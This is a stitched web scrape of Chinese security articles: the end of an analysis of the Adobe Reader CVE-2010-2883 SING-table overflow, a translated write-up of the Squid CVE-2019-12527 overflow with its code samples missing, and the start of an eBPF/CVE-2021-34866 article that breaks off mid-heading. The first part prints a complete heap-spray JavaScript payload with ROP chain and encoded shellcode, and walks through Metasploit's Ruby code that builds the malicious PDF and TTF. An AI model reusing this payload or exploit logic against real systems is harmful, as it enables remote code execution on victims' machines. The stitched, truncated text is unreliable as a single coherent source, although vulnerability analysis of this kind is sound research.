unescape( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%ub5ba%uda4b%udd0e%ud9c1%u2474%u5ef4%uc933%u31b1%u5631%u0313%u1356%uee83%ua949%uf22f%uac59%u0bd0%ud199%uee59%ud1a8%u7a3e%ue19a%u2e35%u8916%udb18%uffad%uecb4%ub506%uc3e2%ue697%u42d7%uf51b%ua50b%u3622%ua45e%u2b63%uf493%u273c%ue906%u7d49%u829b%u9301%u779b%u92d1%u298a%ucd6a%ucb0c%u65bf%ud305%u40dc%u68df%u3e16%ub8de%ubf67%u854d%u3248%uc18f%uad6e%u3bfa%u508d%ufffd%u8eec%u1b88%u4456%uc02a%u8967%u83ad%u666b%uccb9%u796f%u676e%uf28b%ua891%u401a%u6cb6%u1247%u35d7%uf52d%u26e8%uaa8e%u2c4c%ube22%u6ffc%u4128%u0a72%u411e%u158c%u2a0e%u9ebd%u2dc1%u7542%uc2a6%ud408%u4a8e%u8cd5%u1693%u7ae6%u2ed7%u8f65%ud4a7%ufa75%u91a2%u1631%u8ade%u18d7%uaa4d%u7afd%u3810%u529d%ub8b7%uab04' ); var var_c = unescape( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" ); while (var_c.length + 20 + 8 < 0x10000) var_c+=var_c; var_b = var_c.substring(0, (0x0c0c-0x24)/2); var_b += var_shellcode; var_b += var_c; var_d = var_b.substring(0, 0x10000/2); while(var_d.length < 0x80000) var_d += var_d; var_3 = var_d.substring(0, 0x80000 - (0x1020-0x08) / 2); var var_4 = new Array(); for (var_i=0;var_i<0x1f0;var_i++) var_4[var_i]=var_3+"s"; 所有的shellcode都被转化成了十六进制的转义序列，经过unescape解码之后存储在了var_shellcode之中。var_c变量存储了“%u0c0c%u0c0c”，接下来用了一个while循环叠加var_c，用于覆盖内存中的数据，采用0x0c0c0c0c的原因是因为它所对应的指令是 or al,0x0C 这样的指令执行的效果对al寄存器不会产生任何影响很适合当作滑板指令是堆喷射的常用技巧。 接下来的var_b保存了前面的所有滑板指令以及shellcode。最关键的实现堆喷射的语句是new Array() 利用数组来开辟内存区域，然后通过填充数组数据的方式来喷射shellcode。 ## PDF格式&样本构造 先回顾一下漏洞的触发点，漏洞的触发点是在解析TTF字体的SING表时出现的问题。那很显然我们首先要了解一下TTF的格式定义以及SING表的具体字段。同时我们还需要了解PDF格式规范当中是如何来引用TTF字体文件的，以及PDF是怎么支持JavaScript脚本执行的。 先来了解一下PDF的基本格式 PDF文件由最基本的几个部分组成。 首先看到的是Header部分。这是PDF文件的开始部分。主要用来指明当前PDF文件所遵循的PDF格式标准版本。例如%PDF-1.5 Body部分包含了PDF文档的主要内容，所有向用户展现的内容都在此存放。 Cross-reference table 即交叉引用表，包含了当前PDF文档中所有对象的引用、偏移量以及字节长度。借助这个引用表可以在全文档范围内随机访问任何一个对象，非常的方便。 Trailer主要包含了指向交叉引用表的指针以及一些关键对象的指针并且以%%EOF标记文件结束，帮助符合标准的阅读器能够快速定位到需要的对象。所有的PDF阅读器都是要从这里开始解析。 了解完PDF基本格式。秉承着用到什么再提什么的原则，我们这里通过分析MSF提供的exp来帮助理解PDF文档的构造过程。 前面提到过exp的位置在Kali Linux下的 /usr/share/metasploit-framework/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb 这个脚本是用ruby语言编写的，对于ruby语法的相关细节本文不再赘述。 定位到 def make_pdf(ttf, js) 的部分，这里是创建pdf的核心位置。 xref = [] eol = "n" endobj = "endobj" << eol 看到首先定义了几个接下来会用到的字符以及交叉引用表xref。 pdf = "%PDF-1.5" << eol pdf << "%" << random_non_ascii_string(4) << eol 这里描述的是Header部分的内容，首先定义了版本号，这个样本遵循的是PDF1.5版本。 接下来调用了一个random_non_ascii_string函数 def random_non_ascii_string(count) result = "" count.times do result << (rand(128) + 128).chr end result end 该函数用于随机出不再ASCII范围内的字符。换句话说这里随机了4个字符。关于这四个字符的作用。Adobe给出的PDF文档里是这样描述的 If a PDF file contains binary data, as most do, the header line shall be immediately followed by a comment line containing at least four binary characters—that is ,characters whose codes are 128 or greater. This ensures proper behaviour of file transfer applications that inspect data near the beginning of a file to determine whether to treat the file's contents as text or as binary. 这四个code大于128的字符用于确保当前PDF文档被当作二进制文件来对待而不是文本文件。 看完了Header部分的实现，再看Body部分的实现之前，先来了解一下Body部分大致的组织结构。 catalog(目录)在这里充当的是根对象，由catalog对象引出Page tree、Outline hierarchy、Article threads等等，我无法全部都一一介绍，只介绍必要的东西。如果你对其它内容更感兴趣可以参考PDF标准文档。 继续往下看会看到catalog对象的定义 xref << pdf.length pdf << io_def(1) << n_obfu("<<") << eol pdf << n_obfu("/Pages ") << io_ref(2) << eol pdf << n_obfu("/Type /Catalog") << eol pdf << n_obfu("/OpenAction ") << io_ref(11) << eol # The AcroForm is required to get icucnv36.dll to load pdf << n_obfu("/AcroForm ") << io_ref(13) << eol pdf << n_obfu(">>") << eol pdf << endobj 这里用到了两个io_def和n_obfu函数。此处的xref << pdf.length用于记录对象的偏移量。 def io_def(id) "%d 0 obj n" % id end 用于表示对象编号和生成数，在PDF中间接对象都是由两个关键词 **obj** 和 **endobj** 表示的，endobj关键字必须自成一行，obj对象所在行需要有两个由空格隔开的数字来分别表示对象编号和对象生成数。对象编号用来唯一区分和标识各个对象，对象生成数会随着对象每次被释放之后递增(具体详情可以参考官方文档)。下面是一个间接对象的例子: 2 0 obj 123 endobj 很显然io_def函数的主要作用就是用来表示对象的对象编号和生成数以及obj关键字。这里的生成数默认是0。 def n_obfu(str) #return str result = "" str.scan(/./u) do |c| #/u 表示按unicode(utf-8)匹配 if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' # rand(2) [0,2) result << "#%x" % c.unpack("C*")[0] else result << c end end result end 该函数随机编码字母字符(以#%x的形式)。主要作用应该是混淆和免杀。 我们注意到这里的代码n_obfu(“<<”) 用了”<<”字符。在PDF中字典对象是由<< >>包括的一系列键值对组成的。因此catalog本质上是一个字典对象。 在catalog中包含了非常多的可选和必选的字段条目。首先在catalog中，/Type条目是必须要存在的，它的值被固定为/Catalog。/Page条目也是必选的，它指向了一个间接对象Page。io_ref函数的定义如下: def io_ref(id) "%d 0 R" % id end 在PDF中引用(或指向)一个间接对象需要用一个对象编号，生成数以及一个关键字 **R** 来表示。这里的io_ref(2)表示引用了一个对象编号为2的对象。 剩下的在Catalog中的/OpenAction以及/AcroForm都是可选的选项。 其中/OpenAction是PDF执行JS的关键也是该样本实现堆喷射的地方。/OpenAction中指向了一个数组或者字典对象，该对象可能描述了某种行为，这个行为会在PDF文档被加载时执行。剩下的/AcroForm则指向了一个交互式表单字典(之后会解释为什么在样本中使用了一个交互式表单)。 我们从/Pages指向的页面对象开始分析。/Page条目指向了一个对象编号为2的页面对象。 xref << pdf.length pdf << io_def(2) << n_obfu("<<") << eol pdf << n_obfu("/MediaBox ") << io_ref(3) << eol pdf << n_obfu("/Resources ") << io_ref(4) << eol pdf << n_obfu("/Kids [") << io_ref(5) << "]" << eol pdf << n_obfu("/Count 1") << eol pdf << n_obfu("/Type /Pages") << eol pdf << n_obfu(">>") << eol pdf << endobj 同样的/Type条目是必选的并且值固定为/Pages，/Count条目用来记录Page树中的叶子结点个数。这里其实还有一个/Parent必选条目用来指定父结点，但是由于这里是根结点所以可以忽略该条目。/Kid条目用来引用一个数组，数组的元素是当前结点的直接子结点。/MediaBox 是个可选条目，定义了要显示或打印页面的物理媒介的区域。/Resources记录了当前Page用到的所有资源，可空。在当前样本中就是在Resources条目中指定了字体，从而引入有恶意数据的TTF字体文件。这里我们重点分析一下/Resources条目。 /Resources指向了一个对象编号为4的对象。 xref << pdf.length pdf << io_def(4) pdf << n_obfu("<<") << eol pdf << n_obfu("/Font ") << io_ref(6) << eol pdf << ">>" << eol pdf << endobj /Font条目指向了一个用于描述引用的字体状况的字体字典对象。 xref << pdf.length pdf << io_def(6) << n_obfu("<<") << eol pdf << n_obfu("/F1 ") << io_ref(7) << eol pdf << ">>" << eol pdf << endobj 这里的/F1代表了使用Type 1字体技术定义字形形状的字体(关于Type1详情请看文档) xref << pdf.length pdf << io_def(7) << n_obfu("<<") << eol pdf << n_obfu("/Type /Font") << eol pdf << n_obfu("/Subtype /TrueType") << eol pdf << n_obfu("/Name /F1") << eol pdf << n_obfu("/BaseFont /Cinema") << eol pdf << n_obfu("/Widths []") << eol pdf << n_obfu("/FontDescriptor ") << io_ref(9) pdf << n_obfu("/Encoding /MacRomanEncoding") pdf << n_obfu(">>") << eol pdf << endobj /FontDescriptor条目用于描述字体各种属性。 xref << pdf.length pdf << io_def(9) << n_obfu("<<") pdf << n_obfu("/Type/FontDescriptor/FontName/Cinema") pdf << n_obfu("/Flags %d" % (2**2 + 2**6 + 2**17)) pdf << n_obfu("/FontBBox [-177 -269 1123 866]") pdf << n_obfu("/FontFile2 ") << io_ref(10) pdf << n_obfu(">>") << eol pdf << endobj FontFile2指向了一个流对象，这个流对象即是TTF字体数据，我们构造的SING表数据也包含在内。在PDF中流对象由Stream和Endstream关键字标识。 xref << pdf.length compressed = Zlib::Deflate.deflate(ttf) pdf << io_def(10) << n_obfu("<</Length %s/Filter/FlateDecode/Length1 %s>>" % [compressed.length, ttf.length]) << eol pdf << "stream" << eol pdf << compressed << eol pdf << "endstream" << eol pdf << endobj 这里将我们构造好的ttf(之后会提及如何构造ttf)数据经过deflate压缩之后给了compressed变量。并且被包含在stream和endstream关键字之间。 接下来分析一下如何构造ttf。分析MSF提供的exp发现它在构造的时候并没有从头根据TrueType字体的标准文档从零开始构造，而是选择了采用一个现有的字体文件并把SING表格插入进去。这确实是很省力的一种做法。 回到KaliLinux下的 /usr/share/metasploit-framework/modules/exploits/windows/fileformat/cve-2010-2883.ttf 可以看到所采用的字体文件在这个位置。 在构造TTF之前，首先了解一下SING表的数据结构 typedef struct { USHORT tableVersionMajor; USHORT tableVersionMinor; USHORT glyphletVersion; USHORT embeddinginfo; USHORT mainGID; USHORT unitsPerEm; SHORT vertAdvance; SHORT vertOrigin; BYTE[28] uniqueName; BYTE[16] METAMD5; BYTE nameLength; BYTE[] baseGlyphName; } SINGTable; 我们把需要注入的恶意代码写入在uniqueName中即可。 参考TrueType文档中的数据类型。我们了解到USHORT和SHORT都占16个bit。接下来查看一下exp中的make_ttf函数定义。 def make_ttf # load the static ttf file ttf_data = @ttf_data.dup # Build the SING table sing = '' sing << [ 0, 1, # tableVersionMajor, tableVersionMinor (0.1) 0xe01, # glyphletVersion 0x100, # embeddingInfo 0, # mainGID 0, # unitsPerEm 0, # vertAdvance 0x3a00 # vertOrigin ].pack('vvvvvvvv') 这里首先填充了uniqueName字段之前的字段数据。并且注意到这里使用了pack(‘v’)函数来实现小端字节序。如果你仔细阅读TrueType的文档描述，会了解到TrueType实际上遵循的是大端字节序来描述数据，这里之所以采用小端是因为此时的uniqueName字段数据已然不是原先的作用了，它此时包含的是要在x86架构环境下执行的指令地址，而x86架构下需要遵循的是小端字节序。 # uniqueName # "The uniqueName string must be a string of at most 27 7-bit ASCII characters" #sing << "A" * (0x254 - sing.length) sing << rand_text(0x254 - sing.length) 继续往下看，这里使用了rand_text函数填充了随机字符，主要作用是混淆。在前面为了方便识别数据块，我们将随机字符固定成了“A”。 # 0xffffffff gets written here @ 0x7001400 (in BIB.dll) sing[0x140, 4] = [0x4a8a08e2 - 0x1c].pack('V') # This becomes our new EIP (puts esp to stack buffer) ret = 0x4a80cb38 # add ebp, 0x794 / leave / ret sing[0x208, 4] = [ret].pack('V') # This becomes the new eip after the first return ret = 0x4a82a714 sing[0x18, 4] = [ret].pack('V') # This becomes the new esp after the first return esp = 0x0c0c0c0c sing[0x1c, 4] = [esp].pack('V') # Without the following, sub_801ba57 returns 0. sing[0x24c, 4] = [0x6c].pack('V') ttf_data[0xec, 4] = "SING" ttf_data[0x11c, sing.length] = sing ttf_data end 之后就是将前面我们动态调试时分析过的几个关键地址写入SING表中。并把TTF字体中的name表替换成SING表。 到此为止，我们已经知道了如何构造SING表和TTF以及在PDF中如何引用这个TTF字体文件。接下来再来分析一下PDF中是如何执行JavaScript的。 回到catalog对象的定义中的/OpenAction条目，引用了一个编号为11的对象。 xref << pdf.length pdf << io_def(11) << n_obfu("<<") pdf << n_obfu("/Type/Action/S/JavaScript/JS ") + io_ref(12) pdf << n_obfu(">>") << eol pdf << endobj 这里指定了一个用于执行JS的action。 xref << pdf.length compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js)) pdf << io_def(12) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol pdf << "stream" << eol pdf << compressed << eol pdf << "endstream" << eol pdf << endobj 注意到这里将我们构造好的JS代码直接代入了ascii_hex_whitespace_encode函数。在exp中找到ascii_hex_whitespace_encode的函数定义如下 def ascii_hex_whitespace_encode(str) result = "" whitespace = "" str.each_byte do |b| result << whitespace << "%02x" % b whitespace = " " * (rand(3) + 1) end result << ">" end 这个函数将ASCII转换成十六进制并且中间随机间隔1到3个空格。 在前面的介绍中已经把核心的JS代码介绍了。接下来看下EXP中是怎么构造JS的。 定位到make_js函数处 stack_data = [ 0x41414141, # unused 0x4a8063a5, # pop ecx / ret 0x4a8a0000, # becomes ecx 0x4a802196, # mov [ecx],eax / ret # save whatever eax starts as 0x4a801f90, # pop eax / ret 0x4a84903c, # becomes eax (import for CreateFileA) …… ].pack('V*') 首先定义了一个stack_data变量，该变量中存储了构造的ROP链。由于代码太长，省略了中间的shellcode。同样这里也用了pack(‘V*’)按照小端字节序来处理。 var_unescape = rand_text_alpha(rand(100) + 1) var_shellcode = rand_text_alpha(rand(100) + 1) var_start = rand_text_alpha(rand(100) + 1) var_s = 0x10000 var_c = rand_text_alpha(rand(100) + 1) var_b = rand_text_alpha(rand(100) + 1) var_d = rand_text_alpha(rand(100) + 1) var_3 = rand_text_alpha(rand(100) + 1) var_i = rand_text_alpha(rand(100) + 1) var_4 = rand_text_alpha(rand(100) + 1) payload_buf = '' payload_buf << stack_data payload_buf << encoded_payload escaped_payload = Rex::Text.to_unescape(payload_buf) 在接下来的处理中同样做了很多的随机字符生成用于混淆。 并且将payload代码连入。 js = %Q| var #{var_unescape} = unescape; var #{var_shellcode} = #{var_unescape}( '#{escaped_payload}' ); var #{var_c} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" ); while (#{var_c}.length + 20 + 8 < #{var_s}) #{var_c}+=#{var_c}; #{var_b} = #{var_c}.substring(0, (0x0c0c-0x24)/2); #{var_b} += #{var_shellcode}; #{var_b} += #{var_c}; #{var_d} = #{var_b}.substring(0, #{var_s}/2); while(#{var_d}.length < 0x80000) #{var_d} += #{var_d}; #{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2); var #{var_4} = new Array(); for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s"; | js end 再将刚才的变量代入到进js变量中形成完整的JavaScript堆喷射代码。至此js部分就分析完成了。 xrefPosition = pdf.length pdf << "xref" << eol pdf << "0 %d" % (xref.length + 1) << eol pdf << "0000000000 65535 f" << eol xref.each do |index| pdf << "%010d 00000 n" % index << eol end pdf << "trailer" << eol pdf << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol pdf << "startxref" << eol pdf << xrefPosition.to_s() << eol pdf << "%%EOF" << eol pdf end 以上代码是PDF构造的结尾部分。用于生成交叉引用表和trailer表。交叉引用表每一行包含了一个对象的文件偏移，生成数以及空间占用标识符。并以%%EOF标识结束。 至此样本构造部分的分析就结束了，虽然有很多地方还是没有讲的很清楚，有兴趣的朋友可以阅读PDF的官方文档深入了解PDF的详细情况。 ## 漏洞修复 下载AdobeReader 9.4.0版本提取CoolType.dll，定位到相同的位置 .text:0803DD90 mov byte ptr [ebp+108h+var_10C], 1 .text:0803DD94 jnz loc_803DEF6 .text:0803DD9A push offset aName ; "name" .text:0803DD9F push edi ; int .text:0803DDA0 lea ecx, [ebp+108h+var_124] .text:0803DDA3 xor bl, bl .text:0803DDA5 call sub_80217D7 .text:0803DDAA cmp [ebp+108h+var_124], 0 .text:0803DDAE jnz short loc_803DE1A .text:0803DDB0 push offset aSing ; "SING" .text:0803DDB5 push edi ; int .text:0803DDB6 lea ecx, [ebp+108h+var_12C] .text:0803DDB9 call sub_8021B06 .text:0803DDBE mov ecx, [ebp+108h+var_12C] .text:0803DDC1 test ecx, ecx .text:0803DDC1 ; } // starts at 803DD90 .text:0803DDC3 ; try { .text:0803DDC3 mov byte ptr [ebp+108h+var_10C], 2 .text:0803DDC7 jz short loc_803DE03 .text:0803DDC9 mov eax, [ecx] .text:0803DDCB and eax, 0FFFFh .text:0803DDD0 jz short loc_803DDD9 .text:0803DDD2 cmp eax, 100h .text:0803DDD7 jnz short loc_803DE01 .text:0803DDD9 .text:0803DDD9 loc_803DDD9: ; CODE XREF: sub_803DD33+9D↑j .text:0803DDD9 push 104h ; int .text:0803DDDE add ecx, 10h .text:0803DDE1 push ecx ; char * .text:0803DDE2 lea eax, [ebp+108h+var_108] .text:0803DDE5 push eax ; char * .text:0803DDE6 mov [ebp+108h+var_108], 0 .text:0803DDEA call sub_813391E 很显然这里不再是调用strcat而是改为调用sub_813391E函数 .text:0813391E push esi .text:0813391F mov esi, [esp+4+arg_0] .text:08133923 push esi ; char * .text:08133924 call strlen .text:08133929 pop ecx .text:0813392A mov ecx, [esp+4+arg_8] .text:0813392E cmp ecx, eax .text:08133930 ja short loc_8133936 .text:08133932 mov eax, esi .text:08133934 pop esi .text:08133935 retn .text:08133936 loc_8133936: ; CODE XREF: sub_813391E+12↑j .text:08133936 sub ecx, eax .text:08133938 dec ecx .text:08133939 push ecx ; size_t .text:0813393A push [esp+8+arg_4] ; char * .text:0813393E add eax, esi .text:08133940 push eax ; char * .text:08133941 call ds:strncat .text:08133947 add esp, 0Ch .text:0813394A pop esi .text:0813394B retn 该函数获取了字段的长度，判断是否超出限制。如果超出限制就用strncat限制了拷贝的字节数从而修复了该漏洞。 ## 参考资料 [1][PDF标准文档](https://www.adobe.com/content/dam/acom/en/devnet/pdf/pdfs/PDF32000_2008.pdf) [2][Metasploit框架手册](http://rapid7.github.io/metasploit-framework/api/) [3][TrueType格式文档](https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/minuxs/TrueType%201.0%20Font%20Files.pdf) [4][PDF_JS_API参考手册](https://www.adobe.com/content/dam/acom/en/devnet/acrobat/pdfs/js_api_reference.pdf)
社区文章
原文地址：<https://www.thezdi.com/blog/2019/8/22/cve-2019-12527-code-execution-on-squid-proxy-through-a-heap-buffer-overflow> _在本文中，我们将为读者详细介绍安全人员最近在Web代理Squid中发现的一个缓冲区溢出漏洞。需要注意的是，远程的、未经身份验证的攻击者可以通过向目标服务器发送精心设计的请求来利用这个溢出漏洞，进而可以在Squid进程的上下文中执行代码。_ * * * [[Squid](http://www.squid-cache.org/)是一款非常流行的开源Internet代理和Web缓存应用程序。它可用于降低Web服务器的带宽用量，过滤网络流量，并通过本地缓存常用资源来加速Web访问。此外，Squid还支持各种网络协议，其中包括HTTP、FTP和Gopher协议。同时，Squid不仅支持前向代理，使得内部网络上的客户端可以通过Squid连接到外部网络上的服务器；而且也支持反向代理，使得外部网络上的客户端可以通过Squid连接到内部网络上的服务器，此外还支持拦截或透明代理，以便为客户端和服务器提供透明的连接。 ### 基础知识 在Squid中，它为用户提供了缓存管理器接口`cachemgr.cgi`，可用于展示Web上Squid代理进程方面的统计信息。除了显示统计信息之外，缓存管理器还可用于管理缓存，而无需登录Squid服务器。 HTTP是由RFC 7230-7237及其他RFC中描述的一种请求/响应型通信协议。其中，请求将从客户端发送到服务器，之后，服务器又会将响应发送回客户端。HTTP请求由请求行、各种头部，空行和可选的消息正文组成： 其中，`CRLF`表示回车换行，而SP则表示空格字符。另外，各个参数可以放在Request-URI或消息正文中，以名称-值对的形式从客户端传递给服务器；具体放到哪里，要视采用的Method和Content-Type头部而定。例如，如果要使用HTTP请求传递一个名为`param`且值为`1`的参数，则可以使用GET方法，具体如下所示： HTTP支持多种身份验证方案，并且大多方案都会用到“Authorization”头部，其格式如下所示： 其中，<type>常见的取值包括“Basic”、“Digest”、“OAuth”和“Negotiate”。</type> ### 漏洞描述 安全研究人员发现，Squid中存在一个缓冲区溢出漏洞。当Squid收到针对`cachemgr`的传入请求时，将调用`CacheManager::ParseHeaders()`函数来解析请求的头部。这方面的一个例子是对“REQUEST-URI”的HTTP请求，该请求以“`cache_object`”开头。如果请求头部中包含以“Basic”值开头的“Authorization”头部，则会调用易受攻击的函数`HttpHeader::getAuth()`。 类似地，当Squid用作FTP代理并且发送以"ftp"开头的`REQUEST-URI`请求时，将调用`HttpHeader::getAuth()`函数。 而`HttpHeader::getAuth()`函数会用到一个长8192字节的缓冲区decodeAuthToken，准确来说，使用base64_decode_update()函数对`<credentials>`进行base64解码后的数据就存放在其中。如果解码的数据的长度超过8192字节，则会发生缓冲区溢出。 远程攻击者可以通过向目标服务器发送精心设计的HTTP请求来利用这个漏洞。攻击者一旦得手，就能够以服务器进程的权限来执行任意代码；如果失败，攻击活动将导致服务器进程异常终止。 ### 源码分析 下面展示的是取自Squid 4.7版的源代码片段，其中已经加入了相应的代码注释。 下面代码来自`src/cache_manager.cc`文件： 下面的代码来自`src/clients/FtpGateway.cc`文件： 下面的代码来自`src/HttpHeader.cc`文件： 最后，下面的代码来自 `lib/base64.c`文件： ### 触发漏洞 以下数据包解码结果展示了从客户端发送给目标Squid代理的攻击请求的相关片段： 如前所述，标准的Authorization头部的格式为： 在“Authorization: Basic”后面，有一个字符串，其中只有一部分显示在了这个片段中。当对整个字符串进行base64解码时，解码结果会溢出8192字节的缓冲区。请注意，base64解码过程产生的输出数据的长度，是输入长度的3/4，因此，传输的字符串实际上必须远大于8192字节才能成功发起攻击。 ### 关于漏洞补丁 Squid维护者已经通过最新的[commit](https://github.com/squid-cache/squid/commit/7f73e9c5d17664b882ed32590e6af310c247f320)修复了这个漏洞。根据相关说明，我们发现他们是通过用SBuf替换用来存放解码后的base64令牌的具有固定大小的缓冲区来修复这个安全问题的。他们还更新了对SBuf应用编程接口操作的调用方式，以提高内存管理的效率。
社区文章
**作者：b1cc@墨云科技VLab Team 原文链接：<https://mp.weixin.qq.com/s/w0HYPpdMxhcPvKvtSJf_CQ>** 2021年10月12日，日本安全厂商 Flatt security 披露了 Linux 内核提权漏洞`CVE-2021-34866`。11月5日，@HexRabbit 在 Github 上公布了此漏洞的利用方式，并写文分析，技术高超，行文简洁。但作为初次研究相关内容，笔者做了一些较基础的内容补充。 ## eBPF eBPF 是一种在访问内核服务和硬件的新技术。在这项技术诞生之前，如果需要在 Linux 内核执行定制的代码有两种方式，一是提交代码到原生内核项目中，不用赘述其难度；二是使用内核模块，以扩展的方式添加代码到内核执行，可以在运行时动态加载和卸载。但内核模块也有明显的缺点：需要对每个内核版本进行适配；如果代码有问题容易导致内核崩溃。 eBPF 可以较好地解决在内核空间实现自定义代码的问题。eBPF 是 Linux 内核中高度灵活和高效的类似虚拟机的技术，有自己的字节码语法和特定的编译器，允许以安全的方式在各个挂钩点执行字节码。它可用于许多 Linux 内核子系统，最突出的是网络、跟踪和安全。 在实现上，通过调用`bpf_prog_load()`可以创建 eBPF 程序。其中需传入一个包含 eBPF 指令的结构体`bpf_insn`。 ### Verifier 安全性是 eBPF 的突出特点。如果需要加载一个 eBPF 程序到内核中，需要通过`Verifier`的检查。它会检查 eBPF 程序中是否有死循环、程序大小、越界、参数错误等。`Verifier`中的主要检查函数是`bpf_check()`，在这函数中，有一个针对 helper 函数参数检查的函数`check_map_func_compatibility`，就是此次漏洞所在的函数。 ## Helper 函数 eBPF 程序并不能调用任意的内核函数，这会导致 eBPF 程序与特定的内核版本绑定。因此 eBPF 提供的是一些常用且稳定的 API，这些 API 被称为 `helper`函数，用于 eBPF 与内核交互数据。所有的 helper 的名称和作用在`bpf.h`中有声明。每种 eBPF 程序类型的有不同的可用的 helper 函数。下面列举出我们后面分析相关的 helper 函数原型和作用。 /* long bpf_ringbuf_output(void *ringbuf, void *data, u64 size, u64 flags) * Description * Copy *size* bytes from *data* into a ring buffer *ringbuf*. * If **BPF_RB_NO_WAKEUP** is specified in *flags*, no notification * of new data availability is sent. * If **BPF_RB_FORCE_WAKEUP** is specified in *flags*, notification * of new data availability is sent unconditionally. * If **0** is specified in *flags*, an adaptive notification * of new data availability is sent. * * An adaptive notification is a notification sent whenever the user-space * process has caught up and consumed all available payloads. In case the user-space * process is still processing a previous payload, then no notification is needed * as it will process the newly added payload automatically. * Return * 0 on success, or a negative error in case of failure. * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * void *bpf_ringbuf_reserve(void *ringbuf, u64 size, u64 flags) * Description * Reserve *size* bytes of payload in a ring buffer *ringbuf*. * *flags* must be 0. * Return * Valid pointer with *size* bytes of memory available; NULL, * otherwise. * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * u64 bpf_ringbuf_query(void *ringbuf, u64 flags) *Description *Query various characteristics of provided ring buffer. What *exactly is queries is determined by *flags*: * ** **BPF_RB_AVAIL_DATA**: Amount of data not yet consumed. ** **BPF_RB_RING_SIZE**: The size of ring buffer. ** **BPF_RB_CONS_POS**: Consumer position (can wrap around). ** **BPF_RB_PROD_POS**: Producer(s) position (can wrap around). * *Data returned is just a momentary snapshot of actual values *and could be inaccurate, so this facility should be used to *power heuristics and for reporting, not to make 100% correct *calculation. *Return *Requested value, or 0, if *flags* are not recognized. */ #define __BPF_FUNC_MAPPER(FN)\ FN(ringbuf_output),\ FN(ringbuf_reserve),\ FN(ringbuf_query),\ helper 函数并不是直接被调用的，而是被用宏`BPF_CALL_0`~`BPF_CALL_5`封装为系统调用的形式，在编写 eBPF 指令时会直接通过这种宏的形式调用 helper 函数。`bpf_func_proto`类型的结构体则记录的是 helper 函数的信息，包括返回值类型、参数类型等。调用的例子如下所示： BPF_CALL_4(bpf_map_update_elem, struct bpf_map *, map, void *, key, void *, value, u64, flags) { WARN_ON_ONCE(!rcu_read_lock_held()); return map->ops->map_update_elem(map, key, value, flags); } const struct bpf_func_proto bpf_map_update_elem_proto = { .func = bpf_map_update_elem, .gpl_only = false, .ret_type = RET_INTEGER, .arg1_type = ARG_CONST_MAP_PTR, .arg2_type = ARG_PTR_TO_MAP_KEY, .arg3_type = ARG_PTR_TO_MAP_VALUE, .arg4_type = ARG_ANYTHING, }; ## Maps `Map`是一种键值对，eBPF 程序可以用来和内核或者用户空间共享数据。Maps 工作的示意图如下： eBPF 程序可以通过 helper 函数来操作 map，map有不同类型，其中各类型的数据结构是有差别的。下面列出现在支持的 map 类型，共31种： enum bpf_map_type { BPF_MAP_TYPE_UNSPEC, BPF_MAP_TYPE_HASH, BPF_MAP_TYPE_ARRAY, BPF_MAP_TYPE_PROG_ARRAY, BPF_MAP_TYPE_PERF_EVENT_ARRAY, BPF_MAP_TYPE_PERCPU_HASH, BPF_MAP_TYPE_PERCPU_ARRAY, BPF_MAP_TYPE_STACK_TRACE, BPF_MAP_TYPE_CGROUP_ARRAY, BPF_MAP_TYPE_LRU_HASH, BPF_MAP_TYPE_LRU_PERCPU_HASH, BPF_MAP_TYPE_LPM_TRIE, BPF_MAP_TYPE_ARRAY_OF_MAPS, BPF_MAP_TYPE_HASH_OF_MAPS, BPF_MAP_TYPE_DEVMAP, BPF_MAP_TYPE_SOCKMAP, BPF_MAP_TYPE_CPUMAP, BPF_MAP_TYPE_XSKMAP, BPF_MAP_TYPE_SOCKHASH, BPF_MAP_TYPE_CGROUP_STORAGE, BPF_MAP_TYPE_REUSEPORT_SOCKARRAY, BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE, BPF_MAP_TYPE_QUEUE, BPF_MAP_TYPE_STACK, BPF_MAP_TYPE_SK_STORAGE, BPF_MAP_TYPE_DEVMAP_HASH, BPF_MAP_TYPE_STRUCT_OPS, BPF_MAP_TYPE_RINGBUF, BPF_MAP_TYPE_INODE_STORAGE, BPF_MAP_TYPE_TASK_STORAGE, BPF_MAP_TYPE_BLOOM_FILTER, }; ## Ringbuf 